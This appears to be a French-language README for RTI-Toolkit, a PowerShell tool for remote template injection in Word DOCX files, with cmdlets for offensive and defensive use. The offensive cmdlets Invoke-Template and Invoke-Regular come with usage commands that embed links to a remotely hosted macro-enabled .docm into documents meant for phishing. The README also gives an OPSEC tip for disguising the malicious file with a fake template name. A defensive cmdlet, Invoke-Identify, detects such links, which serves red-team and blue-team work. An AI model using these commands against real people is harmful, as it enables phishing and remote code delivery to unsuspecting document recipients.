
Kit PowerShell pour les attaques et la défense par injection de modèles à distance. Injecte des liens malveillants dans des documents Word Office pour le phishing, avec des modules d'identification pour les équipes bleues.
Kit d'injection de modèle distant
RTI-Toolkit est un kit PowerShell open-source pour l'attaque par injection de modèle distant. Ce kit comprend un script PowerShell nommé PS-Templator.ps1 qui peut être utilisé à la fois d'un point de vue offensif et défensif.
Les tableaux suivants présentent les principaux modules (cmdlets) de PS-Templator.ps1 :
| Cmdlet | Description | Prespective |
|---|---|---|
| Invoke-Template | Implémente des liens de modèle distant dans les modèles Office Word par défaut | Offensif |
| Invoke-Regular | Implémente des liens de modèle distant dans des documents Office Word classiques sans modèle | Offensif |
| Invoke-Identify | Identifie les liens de modèle distant dans les documents Office Word docx avec/sans modèle | Défensif |
⚠️ PS-Templator.ps1 ne supporte que les fichiers DOCX.
ℹ️ Cet outil est référencé par le National Institute of Standards and Technology (NIST) National Vulnerability Database (NVD) dans CVE-2025-65318 et CVE-2025-65319.
Un grand merci à mes amis @Papadope9 et Stavros Gkounis (alias purpl3ph03n1x), qui ont fourni une aide précieuse lors de la phase de test bêta de l'outil.
Cet outil a été inspiré lors d'une évaluation iCAST Red Teaming avec @S1ckB0y1337 il y a quelques années.
Supernova a été créé avec ❤️ par @nickvourd.
L'injection de modèle distant (RTI) dans le contexte de Microsoft Office fait référence à un type spécifique de vulnérabilité de sécurité qui peut être exploitée via des modèles malveillants dans les documents Office (par exemple, Word, Excel, PowerPoint).
Par exemple, dans un fichier DOCX, le contenu est stocké au format XML dans l'archive, et certains de ces fichiers XML peuvent référencer des ressources ou modèles externes. Les attaquants peuvent effectivement manipuler ces fichiers XML pour insérer des liens ou contenus malveillants qui peuvent potentiellement exploiter des vulnérabilités ou tromper les utilisateurs.
Il s'agit d'une attaque basée sur des macros.
Pour charger PS-Templator.ps1 en tant que module en mémoire, exécutez la commande suivante :
Import-Module .\PS-Templator.ps1
ℹ️ PS-Templator.ps1 fonctionne sans nécessiter l'installation de dépendances supplémentaires.
ℹ️ PS-Templator.ps1 fonctionne en tant que module PowerShell.
ℹ️ PS-Templator.ps1 testé sur une machine Windows 10 avec Office 2019 Professionnel Plus.
Invoke-Template est un cmdlet qui implémente des liens de modèle distant dans les modèles Office Word par défaut.
En supposant que vous ayez un modèle Word par défaut, comme celui-ci :

Enregistré sous, par exemple, 'Name.docx' :

Si vous utilisez le cmdlet Invoke-Template, vous pouvez insérer un lien malveillant dans ce docx :
⚠️ Avant d'exécuter Invoke-Template, assurez-vous d'enregistrer le document et de le fermer (terminez son processus).
Invoke-Template -InputDoc Name.docx -Link "https://192.168.1.3:8080/Doc1.docm" -Output C:\Users\User\Desktop\LegitDocument.docx
Résultat :

Comme vous pouvez le voir, le module Invoke-Template conserve une sauvegarde du document original et fournit le chemin complet vers le document malveillant.
D'un point de vue débogage, si vous convertissez le docx malveillant en archive zip et allez dans /word/_rels/settings.xml.rels, vous pouvez voir le lien malveillant :

Invoke-Regular est un cmdlet qui implémente des liens de modèle distant dans des documents Office Word par défaut sans modèles.
En supposant que vous ayez un document Word par défaut sans modèle, comme celui-ci :

Enregistré sous, par exemple, 'Doc1.docx' :

Si vous utilisez le cmdlet Invoke-Regular, vous pouvez insérer un lien malveillant dans ce docx :
⚠️ Avant d'exécuter Invoke-Regular, assurez-vous d'enregistrer le document et de le fermer (terminez son processus).
Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Nikos2.docx
Résultat :

Comme vous pouvez le voir, le module Invoke-Regular conserve une sauvegarde du document original et fournit le chemin complet vers le document malveillant.
D'un point de vue débogage, si vous convertissez le docx malveillant en archive zip et allez dans /word/_rels/settings.xml.rels, vous pouvez voir le lien malveillant :

D'un point de vue OPSEC, vous pouvez utiliser -TemplateName conjointement avec le module Invoke-Regular. Cela rendra votre document malveillant plus légitime si quelqu'un essaie de l'analyser.
Voici un exemple :
Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Legittemplate.dotx
Résultat :

D'un point de vue débogage, si vous convertissez le docx malveillant en archive zip et allez dans /docProps/app.xml, vous pouvez voir le faux nom de modèle :

Invoke-identify est un cmdlet qui identifie les liens de modèle distant dans les documents Office Word docx avec/sans modèle.
En supposant que vous ayez un document Word malveillant :
Invoke-Identify -InputDoc LegitDocument.docx -Output C:\Users\User\Desktop\output.txt
Résultat :

En supposant que vous ayez un document Word non malveillant :
Invoke-Identify -InputDoc Name.docx -Output C:\Users\User\Desktop\output2.txt
Résultat :
